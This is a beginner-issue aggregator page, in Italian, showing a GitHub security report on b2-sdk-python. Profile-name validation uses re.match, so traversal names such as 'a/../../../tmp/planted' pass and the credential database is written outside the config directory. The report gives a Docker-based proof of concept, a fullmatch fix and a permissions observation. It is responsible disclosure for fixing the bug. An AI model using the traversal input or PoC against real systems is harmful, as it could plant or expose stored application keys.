SqliteAccountInfo profile name validation uses "re.match", so only the first character is checked

Aperta Adatta ai principianti
  • Qualcosa non va?
#629 0 commenti 0 reazioni 0 assegnatari Vedi su GitHub

I maintainer di solito rispondono entro 1 giorno

@nazarli-shabnam ci sta già lavorando.

Dal 5/11/2026.

  • #643 di @nazarli-shabnam — aperta

Valutazione

Difficoltà
2/5
Tempo stimato
1-3 ore
Idoneità per principianti
75/100
Tipo di issue
Bug
Chiarezza
Specificata chiaramente
Stato di attività
Attiva
Stack tecnologico
python, sqlite
Ambito
backend, security

Direzione di ricerca

Leggi b2sdk/_internal/account_info/sqlite_account_info.py, in particolare get_user_account_info_path e B2_ACCOUNT_INFO_PROFILE_NAME_REGEXP, quindi esamina il test esistente test_invalid_profile_name. Aggiorna la convalida per rifiutare i caratteri non validi in qualsiasi punto del profilo ed estendi il test con un carattere iniziale valido seguito da un suffisso ostile; il lavoro è completo quando questi nomi generano ValueError e i profili validi continuano a funzionare.

Scritto dal modello di indicizzazione a partire dal testo della issue.

Descrizione

Description

get_user_account_info_path validates profile with B2_ACCOUNT_INFO_PROFILE_NAME_REGEXP.match(profile) (b2sdk/_internal/account_info/sqlite_account_info.py:112), and the pattern at :30 is unanchored, so re.match accepts any string whose first character is in [a-zA-Z0-9_\-] and never looks at the rest. The value is then interpolated into the database path at :115, :136 and :142 and handed to os.open and sqlite3.connect without normalisation, so a name like a/../../../../../tmp/planted reaches the filesystem with its .. components intact and the credential database, which holds a live application key, is created outside the directory the SDK selected. Over a corpus of 108 names built from valid leading characters and 21 hostile suffixes, 103 were accepted and 50 of those resolved outside {XDG_CONFIG_HOME}/b2. Two things keep this low rather than worse: nothing inside the SDK passes untrusted input as profile, and on POSIX the first injected path component has to already exist as a directory, which the SDK never creates, so an attacker who can create it already has write access to the config directory. We are filing it in the open for that reason. It still seems worth fixing, because the pattern exists specifically to constrain this value and currently does not, and the one test covering it, test_invalid_profile_name, uses '&@(*$', whose first character is already outside the class, so it passes against the unanchored pattern.

Reproduction

On master @ ffa02b32 with Python 3.10.19, in a container built from a fresh clone at that ref, with the ~/.config/b2/db-a directory created to satisfy the POSIX precondition. Build with this Dockerfile, save the script below as poc.py, then run docker build -t b2poc . && docker run --rm -u 1001 -v "$PWD/poc.py:/poc.py:ro" b2poc python /poc.py:

FROM python:3.10.19-slim-bookworm
RUN apt-get update -qq && apt-get install -y -qq --no-install-recommends git >/dev/null
RUN git clone -q https://github.com/Backblaze/b2-sdk-python.git /src \
 && git -C /src checkout -q ffa02b3264bc0e7069ef2c8b25facd9a467e65a6 \
 && pip install --no-cache-dir -q /src
RUN useradd -m -u 1001 victim

import os, sqlite3
from b2sdk.v3 import SqliteAccountInfo

PROFILE = 'a/../../../../../tmp/planted'   # accepted by .match(), rejected by .fullmatch()
print('resolved :', SqliteAccountInfo.get_user_account_info_path(profile=PROFILE))
os.makedirs(os.path.expanduser('~/.config/b2/db-a'))   # POSIX needs the first component
info = SqliteAccountInfo(profile=PROFILE)
info.set_auth_data(
    account_id='acct', auth_token='tok', api_url='https://api', download_url='https://dl',
    absolute_minimum_part_size=5000000, recommended_part_size=100, realm='production',
    application_key='VICTIM-SECRET-KEY', s3_api_url='https://s3', application_key_id='keyid',
    allowed=SqliteAccountInfo.DEFAULT_ALLOWED)
print('created  :', os.path.realpath(info.filename))
print('key there:', sqlite3.connect('/tmp/planted.sqlite')
      .execute('select application_key from account').fetchone()[0])

resolved : /home/victim/.config/b2/db-a/../../../../../tmp/planted.sqlite
created  : /tmp/planted.sqlite
key there: VICTIM-SECRET-KEY
Suggested remediation

Validate the whole string:

--- a/b2sdk/_internal/account_info/sqlite_account_info.py
+++ b/b2sdk/_internal/account_info/sqlite_account_info.py
@@ -109,7 +109,7 @@ class SqliteAccountInfo(UrlPoolAccountInfo):
 
     @classmethod
     def get_user_account_info_path(cls, file_name: str | None = None, profile: str | None = None):
-        if profile and not B2_ACCOUNT_INFO_PROFILE_NAME_REGEXP.match(profile):
+        if profile and not B2_ACCOUNT_INFO_PROFILE_NAME_REGEXP.fullmatch(profile):
             raise ValueError(f'Invalid profile name: {profile}')

One adjacent thing I noticed while reproducing this, which is separate and not addressed by the above: _validate_database (:144) only calls _create_database when the file does not already exist, and _create_database is the only place mode 0600 is set, so a database file that is already present keeps its permissions. Starting from a mode 0666 file, the mode after credentials were stored was still 0o666 and the application key was readable from it.

Credits
  • Found by OSTIF using AI with their own harness.
  • Manually verified, fixed, and reported by Shielder.
Lingua principale
Python
Stelle
214
Fork
68
Merge medio
51m
PR unite (30g)
6

Preparare l'ambiente

Come iniziare

  1. Leggi tutta la issue e poi la guida ai contributi del progetto.
  2. Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
  3. Fai un fork del repository e lavora su un branch.
  4. Apri una pull request che faccia riferimento al numero della issue.

Altre issue di Backblaze/b2-sdk-python

Tutte le issue di Backblaze/b2-sdk-python

Issue simili

Altre issue su Python

Ricevi le nuove issue nella tua casella

Un breve riepilogo di issue GitHub adatte ai principianti.